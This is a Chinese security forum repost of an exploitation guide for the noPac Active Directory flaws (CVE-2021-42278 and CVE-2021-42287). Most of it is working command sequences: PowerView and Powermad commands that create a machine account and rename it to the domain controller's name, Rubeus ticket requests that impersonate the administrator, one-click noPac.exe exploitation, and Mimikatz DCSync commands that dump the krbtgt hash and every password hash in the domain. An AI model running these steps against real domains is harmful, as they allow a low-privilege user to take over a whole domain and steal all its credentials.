安全矩阵

 找回密码
 立即注册
搜索
查看: 2610|回复: 0

CVE-2021-42278 + CVE-2021-42287(NoPac)利用指南

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2022-1-23 12:48:27 | 显示全部楼层 |阅读模式
原文链接:CVE-2021-42278 + CVE-2021-42287(NoPac)利用指南


原理

CVE-2021-42278,机器用户应当是computer$的形式,但是实际并没有验证机器账号是否有$。导致机器用户名可以被模拟冒用。
CVE-2021-42287,使用computer的TGT通过另一个用户去请求computer自己的ST时,将TGT发送给KDC后,当KDC找不到computer。KDC会再次寻找computer$的ST,从而获得了computer$的ST。从而获得了computer$的权限。
利用条件
检查域控是否易受攻击
此处通过一键利用工具获取TGT,返回大小只有527字节,得知可以请求没有pac的TGT。所以域控可以被攻击。

我们可以再用rubeus手动请求一个正常的TGT看看,下图是正常大小的TGT,1713个字符。



检查MAQ的利用权限
  1. # 需要Powerview
  2. # 查看域内MAQ的使用权限
  3. import-module .\PowerView.ps1
  4. (Get-DomainPolicy -Policy DC).PrivilegeRights | select SeMachineAccountPrivilege | %{$_ | Add-Member -NotePropertyName 'PrincipalName' -NotePropertyValue (ConvertFrom-SID $_.SeMachineAccountPrivilege.substring(1,$_.SeMachineAccountPrivilege.length-1));$_ | Format-List}
复制代码


如图所示,域内任意用户都可以使用MAQ增加机器进域。

检查MAQ的默认值
  1. # 需要安装Active Directory PowerShell模块 或者 远程服务器管理工具(RAST)
  2. # 查询域内MAQ(ms-DS-MachineAccountQuota属性)的情况
  3. import-module ActiveDirectory
  4. Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota

  5. Get-AdDomain | select -exp DistinguishedName | get-adobject -prop 'ms-DS-MachineAccountQuota'
复制代码



如图所示,域内默认每个用户可以让10台机器进域。

查看用户导入了几个机器。

利用方法一 手动:
  1. # exploit.local是域名,WIN-HHPV37PB123是DC的机器名称,demo5是新建的机器名,1qaz@WSX是新建的机器用户的密码。

  2. # 使用Powershell创建机器用户
  3. $password = ConvertTo-SecureString '1qaz@WSX' -AsPlainText -Force
  4. New-MachineAccount -MachineAccount "demo5" -Password $($password) -Domain "exploit.local" -DomainController "WIN-HHPV37PB123.exploit.local" -Verbose

  5. # 使用Powershell清除机器用户的SPN
  6. Set-DomainObject "CN=demo5,CN=Computers,DC=exploit,DC=local" -Clear 'serviceprincipalname' -Verbose

  7. # 使用powershell将机器用户名修改为DC的用户名。注意不带$符号
  8. Set-MachineAccountAttribute -MachineAccount "demo5" -Value "WIN-HHPV37PB123" -Attribute samaccountname -Verbose

  9. # 查看机器用户名是否修改成功
  10. Get-DomainObject "CN=demo5,CN=Computers,DC=exploit,DC=local"

  11. # 使用Rubeus用机器账号向DC请求TGT
  12. Rubeus.exe asktgt /user:"WIN-HHPV37PB123" /password:"1qaz@WSX" /domain:"exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /nowrap

  13. # 将机器用户名重置为原来的用户名
  14. Set-MachineAccountAttribute -MachineAccount "demo5" -Value "demo5" -Attribute samaccountname -Verbose

  15. # 使用请求的TGT通过S4U2self获取ST 注意,impersonateuser必须要存在才有效,如果域内administrator被禁用,换成其他域管
  16. Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/WIN-HHPV37PB123.exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /ptt /ticket:[Base64 TGT]

  17. # 可选命令,查看获取的ST
  18. klist

  19. # 使用Mimikatz进行Dcsync
  20. mimikatz.exe "lsadump::dcsync /domain:exploit.local /kdc:WIN-HHPV37PB123.exploit.local /user:krbtgt" "exit"

  21. # 可选命令,清除所有的ST
  22. klist purge
复制代码

利用Powermad手动添加机器账户

清除新建的机器用户自带SPN(如果不清除,修改sam name的时候会尝试修改域控的SPN,导致失败)

修改新建的机器用户的sam name为域控的名称

可选命令,查看sam name是否修改成功

使用新建的机器用户从易受攻击的域控获取TGT

将新建机器用户的sam name修改回原本的名称

使用刚刚获取的TGT去请求域控ldap服务的ST

可选命令,查看刚刚获取的ST是否有误

使用mimikatz导出krbtgt用户的hash

可选命令,清除ST

利用方法二 工具:
  1. # 使用指定的用户密码扫描域内是否存在能利用该漏洞的DC
  2. noPac.exe scan -domain exploit.local -user "lowpriv" -pass "1qaz@WSX"

  3. # 使用一键化工具获得域控cifs的权限
  4. noPac.exe -domain exploit.local -user "lowpriv" -pass "1qaz@WSX" /dc WIN-HHPV37PB123.exploit.local /mAccount demo6 /mPassword 1qaz@WSX /service cifs /ptt

  5. # 使用一键化工具获得域控ldap服务的权限,同样此处的impersonate和手动利用方式一致,需要该用户可用
  6. noPac.exe -domain exploit.local -user "lowpriv" -pass "1qaz@WSX" /dc WIN-HHPV37PB123.exploit.local /mAccount demo7 /mPassword 1qaz@WSX /service ldap /ptt /impersonate Administrator

  7. # 使用dcsync导出域内所有密码
  8. mimikatz.exe "lsadump::dcsync /domain:exploit.local /all" "exit"
复制代码

检查是否存在漏洞

获得cifs权限的ST并测试ST可用


获取ldap权限的ST并导出所有域内hash

利用方法三
无MAQ时利用的探讨:
当没有MAQ权限的时候,使用用户账户也可完成该攻击。前提是能修改用户账户的sAMAccountName属性,同时具有这个用户的密码以获得TGT。如果被利用的用户注册了SPN,还需要将该用户的SPN删除,否则重命名操作无效。其余步骤与利用方法一一致。
需要的权限

所需要的最小权限是对SAM-ACCOUNT-Name属性的WriteProperty权限


较为常见的常见覆盖了SAM-Account-Name的WriteProperty权限

常见包含WriteProperty最大的GenericALL权限

利用方法
  1. # 需要powerview.ps1
  2. # 查看lowpriv用户对test用户具有什么权限
  3. import-module .\PowerView.ps1
  4. Get-DomainObjectAcl test -ResolveGUIDs | ?{$_.SecurityIdentifier -eq (Get-DomainUser lowpriv).objectsid}

  5. # 修改test用户的sam name属性为域控
  6. Set-DomainObject "CN=t,CN=Users,DC=exploit,DC=local" -Set @{'samaccountname'='WIN-HHPV37PB123'} -Verbose

  7. # 使用Rubeus用用户账号向DC请求TGT
  8. Rubeus.exe asktgt /user:"WIN-HHPV37PB123" /password:"1qaz@WSX" /domain:"exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /nowrap

  9. # 还原test用户的sam name属性
  10. Set-DomainObject "CN=t,CN=Users,DC=exploit,DC=local" -Set @{'samaccountname'='test'} -Verbose

  11. # 使用请求的TGT通过S4U2self获取ldap服务的ST
  12. Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/WIN-HHPV37PB123.exploit.local" /dc:"WIN-HHPV37PB123.exploit.local" /ptt /ticket:[Base64 TGT]

  13. # 使用Mimikatz进行Dcsync
  14. (mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt
复制代码

查看lowpriv用户对test用户的ACL权限

修改test用户的sam name为域控的sam name

查询test用户的sam name是否被修改

利用刚刚获取的TGT换取域控cifs服务的ST并测试是否有效



来源:先知





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 16:58 , Processed in 0.016166 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表